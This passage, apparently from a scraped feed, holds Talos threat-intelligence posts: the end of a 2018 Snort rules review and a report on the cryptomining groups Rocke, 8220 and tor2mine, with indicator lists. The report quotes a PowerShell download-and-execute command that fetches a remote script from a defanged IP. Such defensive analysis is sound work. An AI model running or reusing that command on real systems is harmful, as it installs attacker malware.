\n\n\n[](<http://2.bp.blogspot.com/-lKN6ktW9YRg/XF2L_nSsNfI/AAAAAAAAAVw/6G830jVQQA8On0TJLRDs0enzFolMyl-0QCK4BGAYYCw/s1600/012419-Snort-Sigs-Blog-outbound-signature-types.png>)[![](https://1.bp.blogspot.com/-hrZUBsvx4sw/XF2Py-Y-_-I/AAAAAAAAAWI/TU0EcE5KCNwNtIznDY93Bt6Hjn0WCih4QCK4BGAYYCw/s1600/012419-Snort-Sigs-Blog-outbound-signature-types.png)](<http://1.bp.blogspot.com/-hrZUBsvx4sw/XF2Py-Y-_-I/AAAAAAAAAWI/TU0EcE5KCNwNtIznDY93Bt6Hjn0WCih4QCK4BGAYYCw/s1600/012419-Snort-Sigs-Blog-outbound-signature-types.png>)\n\n \n \nFor outbound connections, we observed a large shift toward the \"PUA-Other\" class, which is mainly a cryptocurrency miner outbound connection attempt. Cryptomining can take up a large amount of valuable enterprise resources in terms of electricity and CPU power. To see how to block Cryptomining in an enterprise using Cisco Security Products, have a look at our [w](<https://blog.talosintelligence.com/2018/07/blocking-cryptomining.html>)[hitepaper](<https://blog.talosintelligence.com/2018/07/blocking-cryptomining.html>) published in July 2018. \n \nThe most frequently triggered rules within the \"Malware-CNC\" rule class are the Zeus trojan activity rules discussed above. \n\n\n### Conclusion\n\n \n\n\nSnort rules detect potentially malicious network activity. Understanding why particular rules are triggered and how they can protect systems is a key part of network security. Snort rules can detect and block attempts at exploiting vulnerable systems, indicate when a system is under attack, when a system has been compromised, and help keep users safe from interacting with malicious systems. They can also be used to detect reconnaissance and pre-exploitation activity, indicating that an attacker is attempting to identify weaknesses in an organization's security posture. These can be used to indicate when an organization should be in a heightened state of awareness about the activity occurring within their environment and more suspicious of security alerts being generated. \n \nAs the threat environment changes, it is necessary to ensure that the correct rules are in place protecting systems. Usually, this means ensuring that the most recent rule set has been promptly downloaded and installed. As shown in the Apache Struts vulnerability data, the time between a vulnerability being discovered and exploited may be short. \n \nOur most commonly triggered rule in 2018: 1:46237:1 \"PUA-OTHER Cryptocurrency Miner outbound connection attempt\" highlights the necessity of protecting IoT devices from attack. Malware such as Mirai seeks to compromise these systems to use them as part of a botnet to put to use for further malicious behaviour. Network architectures need to take these attacks into consideration and ensure that all networked devices no matter how small are protected. \n \nSecurity teams need to understand their network architectures and understand the significance of rules triggering in their environment. For full understanding of the meaning of triggered detections it is important for the rules to be open source. Knowing what network content caused a rule to trigger tells you about your network and allows you to keep abreast of the threat environment as well as the available protection. \n \nAt Talos, we are proud to maintain a set of open source Snort rules and support the thriving community of researchers contributing to Snort and helping to keep networks secure against attack. We're also proud to contribute to the training and education of network engineers through the Cisco Networking Academy, as well through the release of additional open-source tools and the detailing of attacks on our blog. \n \nYou can [subscribe](<https://www.snort.org/products>) to Talos' newest rule detection functionality for as low as $29 a year with a personal account. Be sure and see our business pricing for Snort as well [here](<https://snort.org/products%23rule_subscriptions>).![](http://feeds.feedburner.com/~r/feedburner/Talos/~4/6rupY-noy3s)", "cvss3": {}, "published": "2019-02-06T08:19:00", "type": "talosblog", "title": "2018 in Snort Rules", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-11774", "CVE-2017-5638", "CVE-2017-9805"], "modified": "2019-02-12T14:15:53", "id": "TALOSBLOG:DAD87115458AF1FB5EDF5A2BB21D8AB9", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/6rupY-noy3s/2018-in-snort-signatures.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-12-18T17:32:28", "description": "_Post authored by [David Liebenberg](<https://www.google.com/url?q=https://twitter.com/chinahanddave&sa=D&ust=1545149724666000>) and [Andrew Williams](<https://www.google.com/url?q=https://twitter.com/smugyeti&sa=D&ust=1545149724667000>)._ \n\n\n### Executive Summary\n\nThrough Cisco Talos' investigation of illicit cryptocurrency mining campaigns in the past year, we began to notice that many of these campaigns shared remarkably similar TTPs, which we at first mistakenly interpreted as being attributed to a single actor. However, closer analysis revealed that a spate of illicit mining activity over the past year could be attributed to several actors that have netted them hundreds of thousands of U.S. dollars combined. \n \nThis blog examines these actors' recent campaigns, connects them to other public investigations and examines commonalities among their toolsets and methodologies. \n \nWe will cover the recent activities of these actors: \n\n\n * Rocke \u2014A group that employs Git repositories, HTTP FileServers (HFS), and Amazon Machine Images in their campaigns, as well as a myriad of different payloads, and has targeted a wide variety of servers, including Apache Struts2, Jenkins and JBoss.\n * 8220 Mining Group \u2014Active since 2017, this group leverages Pastebin sites, Git repositories and malicious Docker images. The group targets Drupal, Hadoop YARN and Apache Struts2.\n * Tor2Mine \u2014A group that uses tor2web to deliver proxy communications to a hidden service for command and control (C2).\nThese groups have used similar TTPs, including: \n\n\n * Malicious shell scripts masquerading as JPEG files with the name \"logo*.jpg\" that install cron jobs and download and execute miners.\n * The use of variants of the open-source miner XMRig intended for botnet mining, with versions dependent on the victim's architecture.\n * Scanning for and attempting to exploit recently published vulnerabilities in servers such as Apache Struts2, Oracle WebLogic and Drupal.\n * Malicious scripts and malware hosted on Pastebin sites, Git repositories and domains with .tk TLDs.\n * Tools such as XHide Process Faker, which can hide or change the name of Linux processes and PyInstaller, which can convert Python scripts into executables.\nWe were also able to link these groups to other published research that had not always been linked to the same actor. These additional campaigns demonstrate the breadth of exploitation activity that illicit cryptocurrency mining actors engaged in. \n \nThe recent decline in the value of cryptocurrency is sure to affect the activities of these adversaries. For instance, Rocke began developing destructive malware that posed as ransomware, diversifying their payloads as a potential response to declining cryptocurrency value. This was a trend that the Cyber Threat Alliance had predicted in their 2018 white paper on the [illicit cryptocurrency threat](<https://www.google.com/url?q=https://www.cyberthreatalliance.org/wp-content/uploads/2018/09/CTA-Illicit-CryptoMining-Whitepaper.pdf&sa=D&ust=1545149724689000>). However, activity on Git repositories connected to the actors demonstrates that their interest in illicit cryptocurrency mining has not completely abated. Talos published [separate research today covering this trend.](<https://blog.talosintelligence.com/2018/12/cryptocurrency-future-2018.html>) \n\n\n### Timeline of actors' campaigns\n\n#### [![](https://3.bp.blogspot.com/-jK9gU5Z4g6M/XBkSwhst2WI/AAAAAAAABh0/WgEn6WVJ0Aogu10HmoVBx-2CnIvTrCvTACLcBGAs/s1600/image5.jpg)](<https://3.bp.blogspot.com/-jK9gU5Z4g6M/XBkSwhst2WI/AAAAAAAABh0/WgEn6WVJ0Aogu10HmoVBx-2CnIvTrCvTACLcBGAs/s1600/image5.jpg>) \n--- \nTimeline of Activity \n \n#### Introduction\n\nIllicit cryptocurrency mining remained one of the most common threats Cisco Talos observed in 2018. These attacks steal CPU cycles from compromised devices to mine cryptocurrencies and bring in income for the threat actor. Campaigns delivering mining malware can also compromise the victim in other ways, such as in delivering remote access trojans (RATs) and other malware. \n \nThrough our investigation of illicit cryptocurrency mining campaigns in the past year, we began to notice that many shared remarkably similar TTPs, which we at first mistakenly interpreted as being attributed to a single actor. After completing analysis of these attack's wallets and command and control (C2) servers we discovered that a spate of illicit mining activity over the past year could be attributed to several actors. This illustrates the prevalent use of tool sharing or copying in illicit mining. \n \nWe also observed that, by examining these groups' infrastructure and wallets, we were able to connect them to other published research that had not always been related to the same actor, which demonstrated the breadth of exploitation activity that illicit cryptocurrency mining actors engaged in. \n \nWe first started tracking these groups when we began monitoring a prolific actor named Rocke and noticed that several other groups were using similar TTPs. \n \nWe began following the activities of another prolific actor through a project forked on GitHub by Rocke: the 8220 Mining Group. We also noticed a similar toolset being used by an actor we named \"tor2mine,\" based on the fact that they additionally used tor2web services for C2 communications. \n \nWe also discovered some actors that share similarities to the aforementioned groups, but we could not connect them via network infrastructure or cryptocurrency wallets. Through investigating all these groups, we determined that combined, they had made hundreds of thousands of dollars in profits. \n \n\n\n#### \n\n#### Rocke/Iron cybercrime group\n\nCisco Talos wrote about [Rocke](<https://www.google.com/url?q=https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html&sa=D&ust=1545149724706000>) earlier this year, an actor linked to the Iron Cybercrime group that actively engages in distributing and executing cryptocurrency mining malware using a varied toolkit that includes Git repositories, HTTP FileServers (HFS), and a myriad of different payloads, including shell scripts, JavaScript backdoors, as well as ELF and PE miners. Talos first observed this actor when they attacked our honeypot infrastructure. \n \nIn the campaigns we discussed, Rocke targeted vulnerable Apache Struts2 servers in the spring and summer of 2018. Through tracking the actor's wallets and infrastructure, we were able to link them to some additional exploit activity that was reported on by other security firms but in most instances was not attributed to one actor. Through examining these campaigns that were not previously linked, we observed that Rocke has also targeted [Jenkins ](<https://www.google.com/url?q=https://www.f5.com/labs/articles/threat-intelligence/new-jenkins-campaign-hides-malware--kills-competing-crypto-miner&sa=D&ust=1545149724712000>)and [JBoss](<https://www.google.com/url?q=https://www.alibabacloud.com/blog/jbossminer-mining-malware-analysis_593804&sa=D&ust=1545149724712000>) servers, continuing to rely on malicious Git repositories, as well as malicious [Amazon Machine Images](<https://www.google.com/url?q=https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/&sa=D&ust=1545149724714000>). They have also been expanding their payloads to include malware with worm-like characteristics and destructive ransomware [capabilities](<https://www.google.com/url?q=https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/&sa=D&ust=1545149724714000>). Several campaigns used the XHide Process Faker tool. \n \nWe have since discovered additional information that suggests that Rocke has been continuing this exploit activity. Since early September, we have observed Rocke exploiting our Struts2 honeypots to download and execute files from their C2 ssvs[.]space. Beginning in late October, we observed this type of activity in our honeypots involving another Rocke C2 as well: sydwzl[.]cn. \n \nThe dropped malware includes ELF (Executable and Linkable Format) backdoors, bash scripts to download and execute other malware from Rocke C2s, as well as illicit ELF Monero miners and associated config files. \n \nWhile keeping an eye on honeypot activity related to Rocke, we have continued to monitor their GitHub account for new activity. In early October, Rocke forked a repository called [whatMiner](<https://www.google.com/url?q=https://github.com/MRdoulestar/whatMiner&sa=D&ust=1545149724720000>), developed by a Chinese-speaking actor. WhatMiner appears to have been developed by another group called the 8220 Mining Group, which we will discuss below. The readme for the project describes it as \"collecting and integrating all different kinds of illicit mining malware.\" \n\n\n[![](https://1.bp.blogspot.com/-G3Rbkg_o3Mc/XBkTFOJxe5I/AAAAAAAABh8/BWe5f_IQcIkJPH7e45o9Rzvyyb1Zzq1bQCLcBGAs/s640/image2.png)](<https://1.bp.blogspot.com/-G3Rbkg_o3Mc/XBkTFOJxe5I/AAAAAAAABh8/BWe5f_IQcIkJPH7e45o9Rzvyyb1Zzq1bQCLcBGAs/s1600/image2.png>)\n\n#### \n\n#### Git repository for whatMiner\n\nLooking at some of the bash scripts in the repository, it appears that they scan for and exploit vulnerable Redis and Oracle WebLogic servers to download and install Monero miners. The scripts also rely on a variety of Pastebin pages with Base64-encoded scripts in them that download and execute miners and backdoors on to the victim's machines. These malicious scripts and malware masquerade as JPEG files and are hosted on the Chinese-language file-sharing site thyrsi[.]com. The only difference in Rocke's forked version is that they replaced the Monero wallet in the config file with a new one. \n \nWhile looking through this repository, we found a folder called \"sustes.\" There were three samples in this folder: mr.sh, a bash script that downloads and installs an illicit Monero miner; xm64, an illicit Monero miner; and wt.conf, a config file for the miner. These scripts and malware very closely match the ones we found in our honeypots with the same file names, although the bash script and config file were changed to include Rocke's infrastructure and their Monero wallet. \n \nMany of the samples obtained in our honeypots reached out to the IP 118[.]24[.]150[.]172 over TCP. Rocke's C2, sydwzl[.]cn, also resolves to this IP, as did the domain sbss[.]f3322[.]net, which began experiencing a spike in DNS requests in late October. Two samples with high detection rates submitted to VirusTotal in 2018 made DNS requests for both domains. Both samples also made requests for a file called \"TermsHost.exe\" from an IP 39[.]108[.]177[.]252, as well as a file called \"xmr.txt\" from sydwzl[.]cn. In a previous Rocke campaign, we observed a PE32 Monero miner sample called \"TermsHost.exe\" hosted on their C2 ssvs[.]space and a Monero mining config file called \"xmr.txt\" on the C2 sydwzl[.]cn. \n \nWhen we submitted both samples in our ThreatGrid sandbox, they did not make DNS requests for sydwzl[.]cn, but did make GET requests for hxxp://users[.]qzone[.]qq[.]com:80/fcg-bin/cgi_get_portrait.fcg?uins=979040408. The resulting download is an HTML text file of a 301 error message. When we looked at the profile for the user 979040408@qq.com, we observed that they had numerous posts related to Chinese-language hacking and exploit forums, as well as advertisements for distributed denial-of-service (DDoS) services. \n \nNote that Rocke activity tapered off towards the end of the year. Security researchers at Chinese company Alibaba have taken down Rocke infrastructure that was hosted on Alibaba Cloud. In addition, there has not been activity on Rocke\u2019s github since November, nor have we seen related samples in our honeypots since that time. \n \n\n\n#### 8220 Mining Group\n\nAs we previously described, Rocke originally forked a repository called \"whatMiner.\" We believe this tool is linked to another Chinese-speaking, Monero-mining threat actor \u2014 8220 Mining Group \u2014 due to the repository's config files' default wallet and infrastructure. Their C2s often communicate over port 8220, earning them the 8220 Mining Group moniker. This group uses some similar TTPs to Rocke. \n \nWe first observed the 8220 Mining Group in our Struts2 honeypots in March 2018. Post-exploitation, the actor would issue a cURL request for several different types of malware on their infrastructure over port 8220. The dropped malware included ELF miners, as well as their associated config files with several of 8220 Mining Group's wallets entered in the appropriate fields. This is an example of the type of commands we observed: \n\n\n[![](https://1.bp.blogspot.com/-N8vmBZIyNH0/XBkTMgozjXI/AAAAAAAABiA/WdL1yKlWJVwqXSuzeKgozMuw2lg-xpQnACLcBGAs/s640/image6.png)](<https://1.bp.blogspot.com/-N8vmBZIyNH0/XBkTMgozjXI/AAAAAAAABiA/WdL1yKlWJVwqXSuzeKgozMuw2lg-xpQnACLcBGAs/s1600/image6.png>)\n\nWe were able to link the infrastructure and wallets observed in the attacks against our honeypots, as well as in the Git repository, with several other campaigns that the 8220 mining group is likely responsible for. \n \nThese campaigns illustrate that beyond exploiting Struts2, 8220 Mining Group has also exploited [Drupal](<https://www.google.com/url?q=https://www.volexity.com/blog/2018/04/16/drupalgeddon-2-profiting-from-mass-exploitation/&sa=D&ust=1545149724754000>) content management system, [Hadoop YARN, Redis, Weblogic and Couch](<https://www.google.com/url?q=https://ti.360.net/blog/articles/8220-mining-gang-in-china/&sa=D&ust=1545149724756000>)[DB](<https://www.google.com/url?q=https://ti.360.net/blog/articles/8220-mining-gang-in-china/&sa=D&ust=1545149724757000>). Besides leveraging malicious bash scripts, Git repositories and image sharing services, as in whatMiner, 8220 Mining Group also carried out a long-lasting campaign using malicious [Docker images](<https://www.google.com/url?q=https://kromtech.com/blog/security-center/cryptojacking-invades-cloud-how-modern-containerization-trend-is-exploited-by-attackers&sa=D&ust=1545149724758000>). 8220 Mining Group was able to [amass](<https://www.google.com/url?q=https://www.fortinet.com/blog/threat-research/yet-another-crypto-mining-botnet.html&sa=D&ust=1545149724759000>) nearly $200,000 worth of Monero through their campaigns. \n \nThere were some similarities to the TTPs used by Rocke and 8220 Mining Group in these campaigns. The actors downloaded a malicious file \"logo*.jpg\" (very similar to Rocke's use of malicious scripts under the file name of \"logo*.jpg payloads), which gets executed through the bash shell to deliver XMRig. The actor also employed malicious scripts hosted on .tk TLDs, Pastebin sites, and Git repositories, which we have also observed Rocke employing. \n \n\n\n#### \n\n#### tor2mine\n\nOver the past few years, Talos has been monitoring accesses for tor2web services, which serve as a bridge between the internet and the Tor network, a system that allows users to enable anonymous communication. These services are useful for malware authors because they eliminate the need for malware to communicate with the Tor network directly, which is suspicious and may be blocked, and allow the C2 server's IP address to be hidden. \n \nRecently, while searching through telemetry data, we observed malicious activity that leveraged a tor2web gateway to proxy communications to a hidden service for a C2: qm7gmtaagejolddt[.]onion[.]to. \n \nIt is unclear how the initial exploitation occurs, but at some point in the exploitation process, a PowerShell script is downloaded and executed to install follow-on malware onto the system: \n \n\n\n> C:\\\\\\Windows\\\\\\System32\\\\\\cmd.exe /c powershell.exe -w 1 -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command iex ((New-Object System.Net.WebClient).DownloadString('hxxp://107[.]181[.]187[.]132/v1/check1.ps1'))\n\n \nWe identified additional malware on this IP, which belongs to Total Server Solutions LLC. They appear to include 64-bit and 32-bit variants of XMRigCC \u2014 a variant of the XMRig miner, Windows executable versions of publically available EternalBlue/EternalRomance exploit scripts,an open-source TCP port scanner, and shellcode that downloads and executes a malicious payload from the C2. Additional scripts leverage JavaScript, VBScript, PowerShell and batch scripts to avoid writing executables to the disk. \n \nWe began to research the malware and infrastructure used in this campaign. We observed [previous research](<https://www.google.com/url?q=https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron&sa=D&ust=1545149724777000>) on a similar campaign. This actor was exploiting CVE-2018-11776, an Apache Struts 2 namespace vulnerability. The actor also relied on an IP hosted on Total Server Solutions LLC (107[.]181[.]160[.]197). They also employed a script, \"/win/checking-test.hta,\" that was almost identical to one we saw hosted on the tor2mine actors C2, \"check.hta:\" \n \n/win/checking-test.hta from [previous campaign](<https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron>) \n\n\n[![](https://1.bp.blogspot.com/-P0BM1YbmglE/XBkTUfYruyI/AAAAAAAABiE/cdM11HTIeMU_BLbLvaIufOkl8AlVgpphACLcBGAs/s640/image3.png)](<https://1.bp.blogspot.com/-P0BM1YbmglE/XBkTUfYruyI/AAAAAAAABiE/cdM11HTIeMU_BLbLvaIufOkl8AlVgpphACLcBGAs/s1600/image3.png>)\n\ncheck.hta \n\n\n[![](https://4.bp.blogspot.com/-xCD4IEajoAw/XBkTbbLPdpI/AAAAAAAABiM/iFRi_JfkjaYFKKbvu9WMvVdk-9x9_2KowCLcBGAs/s640/image4.png)](<https://4.bp.blogspot.com/-xCD4IEajoAw/XBkTbbLPdpI/AAAAAAAABiM/iFRi_JfkjaYFKKbvu9WMvVdk-9x9_2KowCLcBGAs/s1600/image4.png>)\n\nThis actor dropped XMRigCC as a payload, mining to eu[.]minerpool[.]pw, as well. Both campaigns additionally relied on the XHide Process-faker tool. \n \nSimilarly, in [February 2018](<https://www.google.com/url?q=https://blog.trendmicro.com/trendlabs-security-intelligence/oracle-server-vulnerability-exploited-deliver-double-monero-miner-payloads/&sa=D&ust=1545149724785000>), Trend Micro published a report on an actor exploiting an Oracle WebLogic WLS-WSAT vulnerability to drop 64-bit and 32-bit variants of XMRig. The actors used many similar supporting scripts that we observed during the tor2web campaigns, and also used a C2 hosted on Total Server Solutions LLC (hxxp://107[.]181[.]174[.]248). They also mined to eu[.]minerpool[.]pw. \n \nThis malware was developed in Python and then changed to ELF executables using the PyInstaller tool for distribution. This is the same technique we observed in a Rocke campaign. \n \n\n\n#### \n\n#### Conclusion\n\nThrough tracking the wallets of these groups, we estimate that they hold and have made payments totaling around 1,200 Monero. Based on public reporting, these groups combined had earned hundreds of thousands of dollars worth of cryptocurrency. However, it is difficult to ascertain the exact amount they made since the value of Monero is very volatile and it is difficult to tell the value of the currency when it was sold. We were also unable to track holdings and payments for certain kinds of wallets, such as MinerGate. \n \nThe value of Monero has dramatically declined in the past few months. Talos has observed less activity from these actors in our honeypots since November, although cryptocurrency-focused attacks from other actors continue. \n \nThere remains the possibility that with the value of cryptocurrencies so low, threat actors will begin delivering different kinds of payloads. For example, Rocke has been observed developing new malware with destructive capabilities that pose as ransomware. However, Rocke\u2019s GitHub page shows that, as of early November, they were continuing to fork mining-focused repositories, including a static build of XMRig. \n \nTalos will continue to monitor these groups, as well as cryptocurrency mining-focused attacks in general, to assess what changes, if any, arise from the decline in value of cryptocurrencies. \n \n\n\n#### \n\n#### Coverage\n\nFor coverage related to blocking illicit cryptocurrency mining, please see the Cisco Talos white paper: [Blocking Cryptocurrency Mining Using Cisco Security Products](<https://www.google.com/url?q=https://talosintelligence.com/resources/59&sa=D&ust=1545149724800000>) \n\n\n[![](https://3.bp.blogspot.com/-kLMMs2ca1vw/XBkTiaGFCAI/AAAAAAAABiQ/BnUOME636oc66-Lx9QJ2QKK2lbUlHb7rgCLcBGAs/s1600/image1.png)](<https://3.bp.blogspot.com/-kLMMs2ca1vw/XBkTiaGFCAI/AAAAAAAABiQ/BnUOME636oc66-Lx9QJ2QKK2lbUlHb7rgCLcBGAs/s1600/image1.png>)\n\n \nAdvanced Malware Protection ([AMP](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/advanced-malware-protection&sa=D&ust=1545149724807000>)) is ideally suited to prevent the execution of the malware used by these threat actors. \n \nCisco Cloud Web Security ([CWS](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html&sa=D&ust=1545149724809000>)) or[ Web Security Appliance (WSA](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html&sa=D&ust=1545149724810000>)) web scanning prevents access to malicious websites and detects malware used in these attacks. \n \nNetwork Security appliances such as[ Next-Generation Firewall (NGFW](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/firewalls/index.html&sa=D&ust=1545149724813000>)),[ Next-Generation Intrusion Prevention System (NGIPS](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html&sa=D&ust=1545149724814000>)), and[ Meraki MX](<https://www.google.com/url?q=https://meraki.cisco.com/products/appliances&sa=D&ust=1545149724816000>) can detect malicious activity associated with this threat. \n \n[AMP Threat Grid](<https://www.google.com/url?q=https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html&sa=D&ust=1545149724818000>) helps identify malicious binaries and build protection into all Cisco Security products. \n \n[Umbrella](<https://www.google.com/url?q=https://umbrella.cisco.com/&sa=D&ust=1545149724820000>), our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. \n \nOpen Source SNORT\u24c7 Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on [Snort.org](<https://www.google.com/url?q=https://www.snort.org/products&sa=D&ust=1545149724823000>). \n \n\n\n### IOCs\n\n#### \n\n#### Rocke\n\nIPs: \n121[.]126[.]223[.]211 \n142[.]44[.]215[.]177 \n144[.]217[.]61[.]147 \n118[.]24[.]150[.]172 \n185[.]133[.]193[.]163 \n \nDomains: \nxmr.enjoytopic[.]tk \nd.paloaltonetworks[.]tk \nthreatpost[.]tk \n3g2upl4pq6kufc4m[.]tk \nscan.3g2upl4pq6kufc4m[.]tk \ne3sas6tzvehwgpak[.]tk \nsample.sydwzl[.]cn \nblockbitcoin[.]com \nscan.blockbitcoin[.]tk \ndazqc4f140wtl[.]cloudfront[.]net \nd3goboxon32grk2l[.]tk \nenjoytopic[.]tk \nrealtimenews[.]tk \n8282[.]space \n3389[.]space \nsvss[.]space \nenjoytopic[.]esy[.]es \nlienjoy[.]esy[.]es \nd3oxpv9ajpsgxt[.]cloudfront[.]net \nd3lvemwrafj7a7[.]cloudfront[.]net \nd1ebv77j9rbkp6[.]enjoytopic[.]com \nswb[.]one \nd1uga3uzpppiit[.]cloudfront[.]net \nemsisoft[.]enjoytopic[.]tk \nejectrift[.]censys[.]xyz \nscan[.]censys[.]xyz \napi[.]leakingprivacy[.]tk \nnews[.]realnewstime[.]xyz \nscan[.]realnewstime[.]xyz \nnews[.]realtimenews[.]tk \nscanaan[.]tk \nwww[.]qicheqiche[.]com \n \nURLs: \nhxxps://github[.]com/yj12ni \nhxxps://github[.]com/rocke \nhxxps://github[.]com/freebtcminer/ \nhxxps://github[.]com/tightsoft \nhxxps://raw[.]githubusercontent[.]com/ghostevilxp \nhxxp://www[.]qicheqiche[.]com \nhxxp://123[.]206[.]13[.]220:8899 \nhxxps://gitee[.]com/c-888/ \nhxxp://gitlab[.]com/c-18 \nhxxp://www[.]ssvs[.]space/root[.]bin \nhxxp://a[.]ssvs[.]space/db[.]sh \nhxxp://a[.]ssvs[.]space/cf[.]cf \nhxxp://a[.]ssvs[.]space/pluto \nhxxp://ip[.]ssvs[.]space/xm64 \nhxxp://ip[.]ssvs[.]space/wt[.]conf \nhxxp://ip[.]ssvs[.]space/mr[.]sh \nhxxp://a[.]ssvs[.]space/logo[.]jpg \nhxxp://a[.]sydwzl[.]cn/root[.]bin \nhxxp://a[.]sydwzl[.]cn/x86[.]bin \nhxxp://a[.]sydwzl[.]cn/bar[.]sh \nhxxp://a[.]sydwzl[.]cn/crondb \nhxxp://a[.]sydwzl[.]cn/pools[.]txt \nhxxps://pastebin[.]com/raw/5bjpjvLP \nhxxps://pastebin[.]com/raw/Fj2YdETv \nhxxps://pastebin[.]com/raw/eRkrSQfE \nhxxps://pastebin[.]com/raw/Gw7mywhC \nhxxp://thyrsi[.]com/t6/387/1539580368x-1566688371[.]jpg \nhxxp://thyrsi[.]com/t6/387/1539579140x1822611263[.]jpg \nhxxp://thyrsi[.]com/t6/387/1539581805x1822611359[.]jpg \nhxxp://thyrsi[.]com/t6/387/1539592750x-1566688347[.]jpg \nhxxp://thyrsi[.]com/t6/373/1537410750x-1566657908[.]jpg \nhxxp://thyrsi[.]com/t6/373/1537410304x-1404764882[.]jpg \nhxxp://thyrsi[.]com/t6/377/1538099301x-1404792622[.]jpg \nhxxp://thyrsi[.]com/t6/362/1535175343x-1566657675[.]jpg \nhxxp://users[.]qzone[.]qq[.]com:80/fcg-bin/cgi_get_portrait.fcg?uins=979040408 \n \nSHA-256: \n55dbdb84c40d9dc8c5aaf83226ca00a3395292cc8f884bdc523a44c2fd431c7b root.bin \n00e1b4874f87d124b465b311e13565a813d93bd13d73b05e6ad9b7a08085b683 root.bin \ncdaa31af1f68b0e474ae1eafbf3613eafae50b8d645fef1e64743c937eff31b5 db.sh \n959230efa68e0896168478d3540f25adf427c7503d5e7761597f22484fc8a451 cf.cf \nd11fa31a1c19a541b51fcc3ff837cd3eec419403619769b3ca69c4137ba41cf3 pluto/xm64 \nda641f86f81f6333f2730795de93ad2a25ab279a527b8b9e9122b934a730ab08 root.bin \n2914917348b91c26ffd703dcef2872115e53dc0b71e23ce40ea3f88215fb2b90 wt.conf \nb1c585865fdb16f3696626ef831b696745894194be9138ac0eb9f6596547eed9 mr.sh \n7de435da46bf6bcd1843410d05c017b0306197462b0ba1d8c84d6551192de259 root.bin \n904261488b24dfec2a3c8dee34c12e0ae2cf4722bd06d69af3d1458cd79e8945 logo.jpg \nf792db9a05cde2eac63c262735d92f10e2078b6ec299ce519847b1e089069271 root.bin \ndcf2b7bf7f0c8b7718e47b0d7269e0d09bb1bdbf6d3248a53ff0e1c9ea5aa38d x86.bin \n3074b307958f6b31448006cad398b23f12119a7d0e51f24c5203a291f9e5d0ec bar.sh \na598aa724c45b2d8b98ec9bc34b83f21b7ae73d68d030476ebd9d89fc06afe58 cron.db \n74c84e47463fad4128bd4d37c4164fb58e4d7dcd880992fad16f79f20995e07e pools.txt \n \nSamples making DNS requests for sydwzl[.]cn and sbss[.]f3322[.]net: \n17c8a1d0e981386730a7536a68f54a7388ed185f5c63aa567d212dc672cf09e0 \n4347d37b7ea18caacb843064dc31a6cda3c91fa7feb4d046742fd9bd985a8c86 \n \nWallets \nrocke@live.cn \n44NU2ZadWJuDyVqKvzapAMSe6zR6JE99FQXh2gG4yuANW5fauZm1rPuTuycCPX3D7k2uiNc55SXL3TX8fHrbb9zQAqEM64W \n44FUzGBCUrwAzA2et2CRHyD57osHpmfTHAXzbqn2ycxtg2bpk792YCSLU8BPTciVFo9mowjakCLNg81WwXgN2GEtQ4uRuN3 \n45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV \n88RiksgPZR5C3Z8B51AQQQMy3zF9KFN7zUC5P5x2DYCFa8pUkY3biTQM6kYEDHWpczGMe76PedzZ6KTsrCDVWGXNRHqwGto \n \n\n\n#### 8220 Gang\n\n45[.]32[.]39[.]40:8220 \n45[.]77[.]24[.]16 \n54[.]37[.]57[.]99:8220 \n67[.]21[.]81[.]179:8220 \n67[.]231[.]243[.]10:8220 \n98[.]142[.]140[.]13:8220 \n98[.]142[.]140[.]13:3333 \n98[.]142[.]140[.]13:8888 \n104[.]129[.]171[.]172:8220 \n104[.]225[.]147[.]196:8220 \n128[.]199[.]86[.]57:8220 \n142[.]4[.]124[.]50:8220 \n142[.]4[.]124[.]164:8220 \n158[.]69[.]133[.]17:8220 \n158[.]69[.]133[.]18:8220 \n158[.]69[.]133[.]20:3333 \n162[.]212[.]157[.]244:8220 \n165[.]227[.]215[.]212:8220 \n185[.]82[.]218[.]206:8220 \n192[.]99[.]142[.]226:8220 \n192[.]99[.]142[.]227 \n192[.]99[.]142[.]232:8220 \n192[.]99[.]142[.]235:8220 \n192[.]99[.]142[.]240:8220 \n192[.]99[.]142[.]248:8220 \n192[.]99[.]142[.]249:3333 \n192[.]99[.]142[.]251:80 \n192[.]99[.]56[.]117:8220 \n195[.]123[.]224[.]186:8220 \n198[.]181[.]41[.]97:8220 \n202[.]144[.]193[.]110:3333 \nhxxps://github[.]com/MRdoulestar/whatMiner \n \n1e43eac49ff521912db16f7a1c6b16500f7818de9f93bb465724add5b4724a13 \ne2403b8198fc3dfdac409ea3ce313bbf12b464b60652d7e2e1bc7d6c356f7e5e \n31bae6f19b32b7bb7188dd4860040979cf6cee352d1135892d654a4df0df01c1 \ncb5936e20e77f14ea7bee01ead3fb9d3d72af62b5118898439d1d11681ab0d35 \ncfdee84680d67d4203ccd1f32faf3f13e6e7185072968d5823c1200444fdd53e \nefbde3d4a6a495bb7d90a266ab1e49879f8ac9c2378c6f39831a06b6b74a6803 \n384abd8124715a01c238e90aab031fb996c4ecbbc1b58a67d65d750c7ed45c52 \n \nSamples associated with whatMiner: \nf7a97548fbd8fd73e31e602d41f30484562c95b6e0659eb37e2c14cbadd1598c 